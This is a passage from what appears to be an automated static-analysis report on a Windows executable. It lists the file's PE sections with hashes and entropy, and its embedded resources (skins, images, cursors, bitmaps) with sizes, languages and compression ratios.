.bss	0x1087000	0x111f5c	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x1199000	0x619e	0x6200	ac9c9c183f7007799aee4fe0540fe868	False	0.29994419642857145	data	5.522490176718458	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0x11a0000	0x873a	0x8800	1e896af8060d0fd20998b3fc940891ee	False	0.24457146139705882	data	5.127167323177517	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0x11a9000	0x92	0x200	a2e14efb7d4f6bd7611abf3b2b3a2b5d	False	0.2578125	data	1.8840316901530774	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x11aa000	0x670	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x11ab000	0x5d	0x200	bbf834c5e1c2e8d68dc3b87c5bab071e	False	0.1953125	data	1.4440055777400933	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x11ac000	0x18c998	0x18ca00	4c15d92165165211955327f402ab9fa8	False	0.4614231651827923	data	6.631496707978542	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x1339000	0x5e3200	0x5e3200	5cf8dbc3fa5d55c15bf8d54b904c3bfb	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
DXNAVBARSKINS	0x13483c8	0xd967	data			0.5110771718623663
DXNAVBARSKINS	0x1355d30	0xdb8d	data			0.5181567476203185
DXNAVBARSKINS	0x13638c0	0xd8c4	data			0.5139839976933612
DXNAVBARSKINS	0x1371184	0x8ee8	data			0.47974524382243605
DXSKINS	0x137a06c	0xb9a	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced			1.0037037037037038
DXSKINS	0x137ac08	0x349	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced			1.0130796670630202
DXSKINS	0x137af54	0x529c5	data			0.6879715580143806
DXSKINS	0x13cd91c	0x4966c	data			0.6809267857855594
DXSKINS	0x1416f88	0xabf95	data			0.5955891851988557
MAD	0x14c2f20	0x14	data			1.25
MAD	0x14c2f34	0xe3914	data			1.0003121929030292
PNG	0x15a6848	0x6d2	PNG image data, 64 x 32, 8-bit/color RGBA, non-interlaced			1.0063001145475372
PNG	0x15a6f1c	0x2d6	PNG image data, 32 x 16, 8-bit/color RGBA, non-interlaced			1.0151515151515151
PNG	0x15a71f4	0x12aa	PNG image data, 30 x 120, 8-bit/color RGBA, non-interlaced			1.002302218501465
PNG	0x15a84a0	0x3cc	PNG image data, 20 x 40, 8-bit/color RGBA, non-interlaced			1.0113168724279835
PNG	0x15a886c	0x336	PC bitmap, Windows 3.x format, 16 x 16 x 24, resolution 3780 x 3780 px/m, cbSize 822, bits offset 54			0.08637469586374696
PNG	0x15a8ba4	0x2436	PC bitmap, Windows 3.x format, 48 x 48 x 32, image size 9216, cbSize 9270, bits offset 54			0.022222222222222223
PNG	0x15aafdc	0x336	PC bitmap, Windows 3.x format, 16 x 16 x 24, resolution 3780 x 3780 px/m, cbSize 822, bits offset 54			0.3819951338199513
PNG	0x15ab314	0x2436	PC bitmap, Windows 3.x format, 48 x 48 x 32, image size 9216, cbSize 9270, bits offset 54			0.0715210355987055
PNG	0x15ad74c	0x336	PC bitmap, Windows 3.x format, 16 x 16 x 24, resolution 3780 x 3780 px/m, cbSize 822, bits offset 54			0.4720194647201946
PNG	0x15ada84	0x2436	PC bitmap, Windows 3.x format, 48 x 48 x 32, image size 9216, cbSize 9270, bits offset 54			0.15048543689320387
PNG	0x15afebc	0x436	PC bitmap, Windows 3.x format, 16 x 16 x 32, image size 1024, cbSize 1078, bits offset 54			0.08719851576994433
PNG	0x15b02f4	0x2436	PC bitmap, Windows 3.x format, 48 x 48 x 32, image size 9216, cbSize 9270, bits offset 54			0.04703344120819849
PNG	0x15b272c	0x336	PC bitmap, Windows 3.x format, 16 x 16 x 24, resolution 3780 x 3780 px/m, cbSize 822, bits offset 54			0.057177615571776155
PNG	0x15b2a64	0x2436	PC bitmap, Windows 3.x format, 48 x 48 x 32, image size 9216, cbSize 9270, bits offset 54			0.01790722761596548
PNG	0x15b4e9c	0x11e	PNG image data, 12 x 12, 8-bit/color RGBA, non-interlaced			0.9790209790209791
PNG	0x15b4fbc	0xc29	PNG image data, 35 x 44, 8-bit/color RGBA, non-interlaced			1.0035335689045937
UNICODEDATA	0x15b5be8	0x723f	data			0.36769583205115053
UNICODEDATA	0x15bce28	0x7ebd	data			0.42552011095700415
UNICODEDATA	0x15c4ce8	0x6a8	data			0.5985915492957746
UNICODEDATA	0x15c5390	0xaf7d	data			0.4191430161380078
UNICODEDATA	0x15d0310	0xd3cf	data			0.4500857569666009
UNICODEDATA	0x15dd6e0	0x14c5	data			0.6482979123565921
RT_CURSOR	0x15deba8	0x134	data	English	United States	0.43506493506493504
RT_CURSOR	0x15decdc	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x15dee10	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x15def44	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x15df078	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x15df1ac	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x15df2e0	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_CURSOR	0x15df414	0x2ec	Targa image data 64 x 65536 x 1 +32 "\004"	German	Germany	0.19385026737967914
RT_CURSOR	0x15df700	0x2ec	Targa image data 64 x 65536 x 1 +32 "\004"	German	Germany	0.18716577540106952
RT_CURSOR	0x15df9ec	0x2ec	Targa image data 64 x 65536 x 1 +32 "\004"	German	Germany	0.2179144385026738
RT_CURSOR	0x15dfcd8	0x2ec	Targa image data 64 x 65536 x 1 +32 "\004"	German	Germany	0.21122994652406418
RT_CURSOR	0x15dffc4	0x134	AmigaOS bitmap font "(", fc_YSize 4294967064, 3584 elements, 2nd "\377\270w\377\377\370\177\377\377\370\177\377\377\370\177\377\377\370\177\377\377\370\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	German	Germany	0.32792207792207795
RT_CURSOR	0x15e00f8	0x134	Targa image data 64 x 65536 x 1 +32 "\001"			0.38311688311688313
RT_CURSOR	0x15e022c	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"			0.4090909090909091
RT_CURSOR	0x15e0360	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"			0.4090909090909091
RT_CURSOR	0x15e0494	0x134	Targa image data - Mono 64 x 65536 x 1 +32 "\001"			0.40584415584415584
RT_CURSOR	0x15e05c8	0x134	Targa image data - Map - RLE 64 x 65536 x 1 +32 "\001"			0.5162337662337663
RT_CURSOR	0x15e06fc	0x10ac	data			0.23266166822867854
RT_CURSOR	0x15e17a8	0x10ac	data			0.17268041237113402
RT_CURSOR	0x15e2854	0x134	Targa image data - Map - RLE 64 x 65536 x 1 +32 "\001"			0.35714285714285715
RT_CURSOR	0x15e2988	0x12c	data			0.48
RT_CURSOR	0x15e2ab4	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"			0.4642857142857143
RT_CURSOR	0x15e2be8	0x2ec	data			0.18449197860962566
RT_CURSOR	0x15e2ed4	0x134	data			0.12012987012987013
RT_CURSOR	0x15e3008	0x134	data			0.525974025974026
RT_CURSOR	0x15e313c	0x134	data			0.4675324675324675
RT_CURSOR	0x15e3270	0x134	data			0.6168831168831169
RT_CURSOR	0x15e33a4	0x134	data			0.4935064935064935
RT_CURSOR	0x15e34d8	0x134	data			0.6103896103896104
RT_CURSOR	0x15e360c	0x134	data			0.4383116883116883
RT_CURSOR	0x15e3740	0x134	Targa image data - Mono - RLE 64 x 65536 x 1 +32 "\001"			0.35714285714285715
RT_CURSOR	0x15e3874	0x134	data			0.44155844155844154
RT_CURSOR	0x15e39a8	0x134	Targa image data 64 x 65536 x 1 +32 "\001"			0.5746753246753247
RT_CURSOR	0x15e3adc	0x134	Targa image data 64 x 65536 x 1 +32 "\001"			0.275974025974026
RT_CURSOR	0x15e3c10	0x134	data			0.37012987012987014
RT_CURSOR	0x15e3d44	0x134	data			0.37012987012987014
RT_CURSOR	0x15e3e78	0x134	AmigaOS bitmap font "(", fc_YSize 4294966287, 3840 elements, 2nd "\376\017\340\377\377\017\341\377\377\217\343\377\377\337\367\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd			0.4642857142857143
RT_CURSOR	0x15e3fac	0x134	Targa image data - Map - RLE 64 x 65536 x 1 +32 "\001"			0.32142857142857145
RT_CURSOR	0x15e40e0	0x134	data			0.3409090909090909
RT_CURSOR	0x15e4214	0x134	Targa image data - Map - RLE 64 x 65536 x 1 +32 "\001"			0.4837662337662338
RT_CURSOR	0x15e4348	0x134	AmigaOS bitmap font "(", fc_YSize 4294935297, 3840 elements, 2nd "\200\003\377\201\300\007\377\203\300\017\377\003\340\037\376\007\360\037\370\017\370\003\300\037\374", 3rd			0.711038961038961
RT_CURSOR	0x15e447c	0x134	data			0.6038961038961039
RT_CURSOR	0x15e45b0	0x134	Targa image data 64 x 65536 x 1 +32 "\001"			0.36038961038961037
RT_CURSOR	0x15e46e4	0x134	Targa image data 64 x 65536 x 1 +32 "\001"			0.3474025974025974
RT_CURSOR	0x15e4818	0x134	AmigaOS bitmap font "(", fc_YSize 4294967040, 3840 elements, 2nd "\376", 3rd			0.4383116883116883
RT_CURSOR	0x15e494c	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"			0.35064935064935066
RT_CURSOR	0x15e4a80	0x134	Targa image data - Mono 64 x 65536 x 1 +32 "\001"			0.4512987012987013
RT_CURSOR	0x15e4bb4	0x134	Targa image data - Mono 64 x 65536 x 1 +32 "\001"			0.39285714285714285
RT_CURSOR	0x15e4ce8	0x134	Targa image data - Mono 64 x 65536 x 1 +32 "\001"			0.4967532467532468
RT_CURSOR	0x15e4e1c	0x134	Targa image data - Map - RLE 64 x 65536 x 1 +32 "\001"			0.32142857142857145
RT_CURSOR	0x15e4f50	0xcac	data			0.06781750924784218
RT_CURSOR	0x15e5bfc	0xcac	data			0.06812577065351418
RT_CURSOR	0x15e68a8	0xcac	data			0.053329223181257705
RT_CURSOR	0x15e7554	0xcac	data			0.21393341553637485
RT_CURSOR	0x15e8200	0xcac	data			0.1374845869297164
RT_CURSOR	0x15e8eac	0x134	data			0.5162337662337663
RT_CURSOR	0x15e8fe0	0x134	data			0.4577922077922078
RT_CURSOR	0x15e9114	0x134	data			0.37337662337662336
RT_CURSOR	0x15e9248	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"			0.32142857142857145
RT_CURSOR	0x15e937c	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"			0.35064935064935066
RT_CURSOR	0x15e94b0	0x134	Targa image data 64 x 65536 x 1 +32 "\001"			0.5746753246753247
RT_CURSOR	0x15e95e4	0x134	AmigaOS bitmap font "(", fc_YSize 4294966287, 3840 elements, 2nd "\376\017\340\377\377\017\341\377\377\217\343\377\377\337\367\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd			0.4642857142857143
RT_CURSOR	0x15e9718	0x134	AmigaOS bitmap font "(", fc_YSize 4294967040, 3840 elements, 2nd "\376", 3rd			0.4383116883116883
RT_CURSOR	0x15e984c	0x134	Targa image data 64 x 65536 x 1 +32 "\001"			0.4025974025974026
RT_CURSOR	0x15e9980	0x134	Targa image data 64 x 65536 x 1 +32 "\001"			0.40584415584415584
RT_CURSOR	0x15e9ab4	0x134	Targa image data - Mono - RLE 64 x 65536 x 1 +32 "\001"			0.39285714285714285
RT_CURSOR	0x15e9be8	0x134	data			0.4090909090909091
RT_CURSOR	0x15e9d1c	0x134	Targa image data 64 x 65536 x 1 +32 "\001"			0.3961038961038961
RT_CURSOR	0x15e9e50	0x134	data			0.4025974025974026
RT_CURSOR	0x15e9f84	0x134	data			0.39935064935064934
RT_CURSOR	0x15ea0b8	0x134	Targa image data 64 x 65536 x 1 +32 "\001"			0.3961038961038961
RT_CURSOR	0x15ea1ec	0x134	Targa image data 64 x 65536 x 1 +32 "\001"			0.31493506493506496
RT_CURSOR	0x15ea320	0x134	data			0.4383116883116883
RT_CURSOR	0x15ea454	0x134	data			0.37012987012987014
RT_CURSOR	0x15ea588	0x134	data			0.42207792207792205
RT_CURSOR	0x15ea6bc	0x134	Targa image data - Mono 64 x 65536 x 1 +32 "\001"			0.37012987012987014
RT_CURSOR	0x15ea7f0	0x134	data	English	United States	0.38636363636363635
RT_CURSOR	0x15ea924	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	German	Germany	0.5292207792207793
RT_CURSOR	0x15eaa58	0x2ec	Targa image data 64 x 65536 x 1 +32 "\004"	German	Germany	0.18983957219251338
RT_CURSOR	0x15ead44	0x2ec	Targa image data 64 x 65536 x 1 +32 "\004"	German	Germany	0.19117647058823528
RT_CURSOR	0x15eb030	0x2ec	Targa image data 64 x 65536 x 1 +32 "\004"	German	Germany	0.19786096256684493
RT_CURSOR	0x15eb31c	0x2ec	Targa image data 64 x 65536 x 1 +32 "\004"	German	Germany	0.18983957219251338
RT_CURSOR	0x15eb608	0x2ec	Targa image data 64 x 65536 x 1 +32 "\004"	German	Germany	0.19518716577540107
RT_CURSOR	0x15eb8f4	0x2ec	Targa image data 64 x 65536 x 1 +32 "\004"	German	Germany	0.19518716577540107
RT_CURSOR	0x15ebbe0	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_BITMAP	0x15ebd14	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x15ebee4	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380	English	United States	0.46487603305785125
RT_BITMAP	0x15ec0c8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x15ec298	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39870689655172414
RT_BITMAP	0x15ec468	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.4245689655172414
RT_BITMAP	0x15ec638	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5021551724137931
RT_BITMAP	0x15ec808	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5064655172413793
RT_BITMAP	0x15ec9d8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x15ecba8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5344827586206896
RT_BITMAP	0x15ecd78	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x15ecf48	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.5208333333333334
RT_BITMAP	0x15ed008	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.42857142857142855
RT_BITMAP	0x15ed0e8	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.39864864864864863
RT_BITMAP	0x15ed210	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x15ed338	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x15ed460	0xe8	Device independent bitmap graphic, 13 x 16 x 4, image size 128	English	United States	0.36637931034482757
RT_BITMAP	0x15ed548	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.3614864864864865
RT_BITMAP	0x15ed670	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x15ed798	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.49038461538461536
RT_BITMAP	0x15ed868	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3716216216216216
RT_BITMAP	0x15ed990	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.2905405405405405
RT_BITMAP	0x15edab8	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.4955357142857143
RT_BITMAP	0x15edb98	0x298	Device independent bitmap graphic, 16 x 13 x 24, image size 624			0.733433734939759
RT_BITMAP	0x15ede30	0x298	Device independent bitmap graphic, 16 x 13 x 24, image size 624			0.5015060240963856
RT_BITMAP	0x15ee0c8	0x298	Device independent bitmap graphic, 16 x 13 x 24, image size 624			0.766566265060241
RT_BITMAP	0x15ee360	0x298	Device independent bitmap graphic, 16 x 13 x 24, image size 624			0.5015060240963856
RT_BITMAP	0x15ee5f8	0x298	Device independent bitmap graphic, 16 x 13 x 24, image size 624			0.7319277108433735
RT_BITMAP	0x15ee890	0x298	Device independent bitmap graphic, 16 x 13 x 24, image size 624			0.5225903614457831
RT_BITMAP	0x15eeb28	0x298	Device independent bitmap graphic, 16 x 13 x 24, image size 624			0.5180722891566265
RT_BITMAP	0x15eedc0	0x298	Device independent bitmap graphic, 16 x 13 x 24, image size 624			0.338855421686747
RT_BITMAP	0x15ef058	0x268	Device independent bitmap graphic, 12 x 12 x 32, image size 576			0.7532467532467533
RT_BITMAP	0x15ef2c0	0x268	Device independent bitmap graphic, 12 x 12 x 32, image size 576			0.7954545454545454
RT_BITMAP	0x15ef528	0x268	Device independent bitmap graphic, 12 x 12 x 32, image size 576			0.7191558441558441
RT_BITMAP	0x15ef790	0xc28	Device independent bitmap graphic, 32 x 32 x 24, image size 3072			0.5067480719794345
RT_BITMAP	0x15f03b8	0xc28	Device independent bitmap graphic, 32 x 32 x 24, image size 3072			0.36568123393316193
RT_BITMAP	0x15f0fe0	0xc28	Device independent bitmap graphic, 32 x 32 x 24, image size 3072			0.3968508997429306
RT_BITMAP	0x15f1c08	0xc28	Device independent bitmap graphic, 32 x 32 x 24, image size 3072			0.419987146529563
RT_BITMAP	0x15f2830	0xc28	Device independent bitmap graphic, 32 x 32 x 24, image size 3072			0.6233933161953727
RT_BITMAP	0x15f3458	0xc28	Device independent bitmap graphic, 32 x 32 x 24, image size 3072			0.5678020565552699
RT_BITMAP	0x15f4080	0xc28	Device independent bitmap graphic, 32 x 32 x 24, image size 3072			0.38753213367609257
RT_BITMAP	0x15f4ca8	0xc28	Device independent bitmap graphic, 32 x 32 x 24, image size 3072			0.4142030848329049
RT_BITMAP	0x15f58d0	0x4ac	Device independent bitmap graphic, 11 x 11 x 8, image size 132, 256 important colors			0.5058528428093646
RT_BITMAP	0x15f5d7c	0x328	Device independent bitmap graphic, 16 x 16 x 24, image size 768			0.5495049504950495
RT_BITMAP	0x15f60a4	0x328	Device independent bitmap graphic, 16 x 16 x 24, image size 768			0.32673267326732675
RT_BITMAP	0x15f63cc	0x328	Device independent bitmap graphic, 16 x 16 x 24, image size 768			0.12747524752475248
RT_BITMAP	0x15f66f4	0x328	Device independent bitmap graphic, 16 x 16 x 24, image size 768			0.5804455445544554
RT_BITMAP	0x15f6a1c	0x328	Device independent bitmap graphic, 16 x 16 x 24, image size 768			0.6423267326732673
RT_BITMAP	0x15f6d44	0x328	Device independent bitmap graphic, 16 x 16 x 24, image size 768			0.6349009900990099
RT_BITMAP	0x15f706c	0x1f70	Device independent bitmap graphic, 242 x 11 x 24, image size 8008			0.16153081510934394
RT_BITMAP	0x15f8fdc	0x8c	Device independent bitmap graphic, 8 x 9 x 4, image size 36			0.4714285714285714
RT_BITMAP	0x15f9068	0x8c	Device independent bitmap graphic, 8 x 9 x 4, image size 36			0.45
RT_BITMAP	0x15f90f4	0x8c	Device independent bitmap graphic, 8 x 9 x 4, image size 36			0.5071428571428571
RT_BITMAP	0x15f9180	0x238	Device independent bitmap graphic, 29 x 29 x 4, image size 464			0.25
RT_BITMAP	0x15f93b8	0x238	Device independent bitmap graphic, 29 x 29 x 4, image size 464			0.20950704225352113
RT_BITMAP	0x15f95f0	0x8c	Device independent bitmap graphic, 8 x 9 x 4, image size 36			0.4928571428571429
RT_BITMAP	0x15f967c	0x8c	Device independent bitmap graphic, 8 x 9 x 4, image size 36			0.5
RT_BITMAP	0x15f9708	0x8c	Device independent bitmap graphic, 8 x 9 x 4, image size 36			0.4785714285714286
RT_BITMAP	0x15f9794	0xd4c	Device independent bitmap graphic, 29 x 29 x 32, image size 3364			0.029083431257344302
RT_BITMAP	0x15fa4e0	0xd4c	Device independent bitmap graphic, 29 x 29 x 32, image size 3364			0.02673325499412456
RT_BITMAP	0x15fb22c	0xd4c	Device independent bitmap graphic, 29 x 29 x 32, image size 3364			0.43537015276145713
RT_BITMAP	0x15fbf78	0xd4c	Device independent bitmap graphic, 29 x 29 x 32, image size 3364			0.030258519388954172
RT_BITMAP	0x15fccc4	0x8c	Device independent bitmap graphic, 8 x 9 x 4, image size 36, 16 important colors			0.5285714285714286
RT_BITMAP	0x15fcd50	0x238	Device independent bitmap graphic, 29 x 29 x 4, image size 464			0.21654929577464788
RT_BITMAP	0x15fcf88	0x268	Device independent bitmap graphic, 12 x 12 x 32, image size 576			0.1590909090909091
RT_BITMAP	0x15fd1f0	0x268	Device independent bitmap graphic, 12 x 12 x 32, image size 576			0.11688311688311688
RT_BITMAP	0x15fd458	0x46e	Device independent bitmap graphic, 28 x 13 x 24, image size 1094, resolution 2834 x 2834 px/m	English	United States	0.328042328042328
RT_BITMAP	0x15fd8c8	0x46e	Device independent bitmap graphic, 28 x 13 x 24, image size 1094, resolution 2834 x 2834 px/m	English	United States	0.3289241622574956
RT_BITMAP	0x15fdd38	0x46e	Device independent bitmap graphic, 28 x 13 x 24, image size 1094, resolution 2834 x 2834 px/m	English	United States	0.40476190476190477
RT_BITMAP	0x15fe1a8	0x46e	Device independent bitmap graphic, 28 x 13 x 24, image size 1094, resolution 2834 x 2834 px/m	English	United States	0.09435626102292768
RT_BITMAP	0x15fe618	0x46e	Device independent bitmap graphic, 28 x 13 x 24, image size 1094, resolution 2834 x 2834 px/m	English	United States	0.23721340388007053
RT_BITMAP	0x15fea88	0x46e	Device independent bitmap graphic, 28 x 13 x 24, image size 1094, resolution 2834 x 2834 px/m	English	United States	0.29188712522045857
RT_BITMAP	0x15feef8	0x46e	Device independent bitmap graphic, 28 x 13 x 24, image size 1094, resolution 2834 x 2834 px/m	English	United States	0.1675485008818342
RT_BITMAP	0x15ff368	0x46e	Device independent bitmap graphic, 28 x 13 x 24, image size 1094, resolution 2834 x 2834 px/m	English	United States	0.2892416225749559
RT_BITMAP	0x15ff7d8	0x46e	Device independent bitmap graphic, 28 x 13 x 24, image size 1094, resolution 2834 x 2834 px/m	English	United States	0.2751322751322751
RT_BITMAP	0x15ffc48	0x46e	Device independent bitmap graphic, 28 x 13 x 24, image size 1094, resolution 2834 x 2834 px/m	English	United States	0.30776014109347444
RT_BITMAP	0x16000b8	0x46e	Device independent bitmap graphic, 28 x 13 x 24, image size 1094, resolution 2834 x 2834 px/m	English	United States	0.2777777777777778
RT_BITMAP	0x1600528	0x46e	Device independent bitmap graphic, 28 x 13 x 24, image size 1094, resolution 2834 x 2834 px/m	English	United States	0.41887125220458554
RT_BITMAP	0x1600998	0x50	Device independent bitmap graphic, 8 x 8 x 1, image size 32	Polish	Poland	0.4125
RT_BITMAP	0x16009e8	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.38175675675675674
RT_BITMAP	0x1600b10	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x1600c38	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x1600d60	0xe8	Device independent bitmap graphic, 12 x 16 x 4, image size 128	English	United States	0.3620689655172414
RT_BITMAP	0x1600e48	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.3581081081081081
RT_BITMAP	0x1600f70	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.36486486486486486
RT_BITMAP	0x1601098	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.47115384615384615
RT_BITMAP	0x1601168	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.36824324324324326
RT_BITMAP	0x1601290	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.28716216216216217
RT_BITMAP	0x16013b8	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.3232758620689655
RT_BITMAP	0x16014a0	0x528	Device independent bitmap graphic, 16 x 16 x 8, image size 256			0.42272727272727273
RT_BITMAP	0x16019c8	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.45689655172413796
RT_BITMAP	0x1601ab0	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.4482758620689655
RT_BITMAP	0x1601b98	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.5258620689655172
RT_BITMAP	0x1601c80	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.28448275862068967
RT_BITMAP	0x1601d68	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.2629310344827586
RT_BITMAP	0x1601e50	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104			0.46153846153846156
RT_BITMAP	0x1601f20	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.33189655172413796
RT_BITMAP	0x1602008	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.3620689655172414
RT_BITMAP	0x16020f0	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104			0.47596153846153844
RT_BITMAP	0x16021c0	0x4ac	Device independent bitmap graphic, 11 x 11 x 8, image size 132			0.4498327759197324
RT_BITMAP	0x160266c	0x4ac	Device independent bitmap graphic, 11 x 11 x 8, image size 132			0.459866220735786
RT_BITMAP	0x1602b18	0x638	Device independent bitmap graphic, 22 x 22 x 8, image size 528			0.49685929648241206
RT_BITMAP	0x1603150	0x638	Device independent bitmap graphic, 22 x 22 x 8, image size 528			0.48743718592964824
RT_BITMAP	0x1603788	0x528	Device independent bitmap graphic, 16 x 16 x 8, image size 256			0.5295454545454545
RT_BITMAP	0x1603cb0	0x528	Device independent bitmap graphic, 16 x 16 x 8, image size 256			0.5265151515151515
RT_BITMAP	0x16041d8	0x528	Device independent bitmap graphic, 16 x 16 x 8, image size 256			0.40606060606060607
RT_BITMAP	0x1604700	0x528	Device independent bitmap graphic, 16 x 16 x 8, image size 256			0.4075757575757576
RT_BITMAP	0x1604c28	0x828	Device independent bitmap graphic, 32 x 32 x 8, image size 1024			0.34770114942528735
RT_BITMAP	0x1605450	0x528	Device independent bitmap graphic, 16 x 16 x 8, image size 256			0.4659090909090909
RT_BITMAP	0x1605978	0x538	Device independent bitmap graphic, 13 x 17 x 8, image size 272			0.3967065868263473
RT_BITMAP	0x1605eb0	0x4f0	Device independent bitmap graphic, 37 x 5 x 8, image size 200			0.39319620253164556
RT_BITMAP	0x16063a0	0xc8	Device independent bitmap graphic, 17 x 8 x 4, image size 96			0.445
RT_BITMAP	0x1606468	0xc8	Device independent bitmap graphic, 17 x 8 x 4, image size 96			0.44
RT_BITMAP	0x1606530	0xc8	Device independent bitmap graphic, 17 x 8 x 4, image size 96			0.445
RT_BITMAP	0x16065f8	0xc8	Device independent bitmap graphic, 17 x 8 x 4, image size 96			0.445
RT_BITMAP	0x16066c0	0xc8	Device independent bitmap graphic, 17 x 8 x 4, image size 96			0.445
RT_BITMAP	0x1606788	0xc8	Device independent bitmap graphic, 17 x 8 x 4, image size 96			0.435
RT_BITMAP	0x1606850	0xc8	Device independent bitmap graphic, 17 x 8 x 4, image size 96			0.445
RT_BITMAP	0x1606918	0x528	Device independent bitmap graphic, 16 x 16 x 8, image size 256			0.5280303030303031
RT_BITMAP	0x1606e40	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x1606f68	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x1607090	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x16071b8	0xe8	Device independent bitmap graphic, 13 x 16 x 4, image size 128	English	United States	0.36637931034482757
RT_BITMAP	0x16072a0	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.35135135135135137
RT_BITMAP	0x16073c8	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.36486486486486486
RT_BITMAP	0x16074f0	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.47115384615384615
RT_BITMAP	0x16075c0	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3581081081081081
RT_BITMAP	0x16076e8	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.28716216216216217
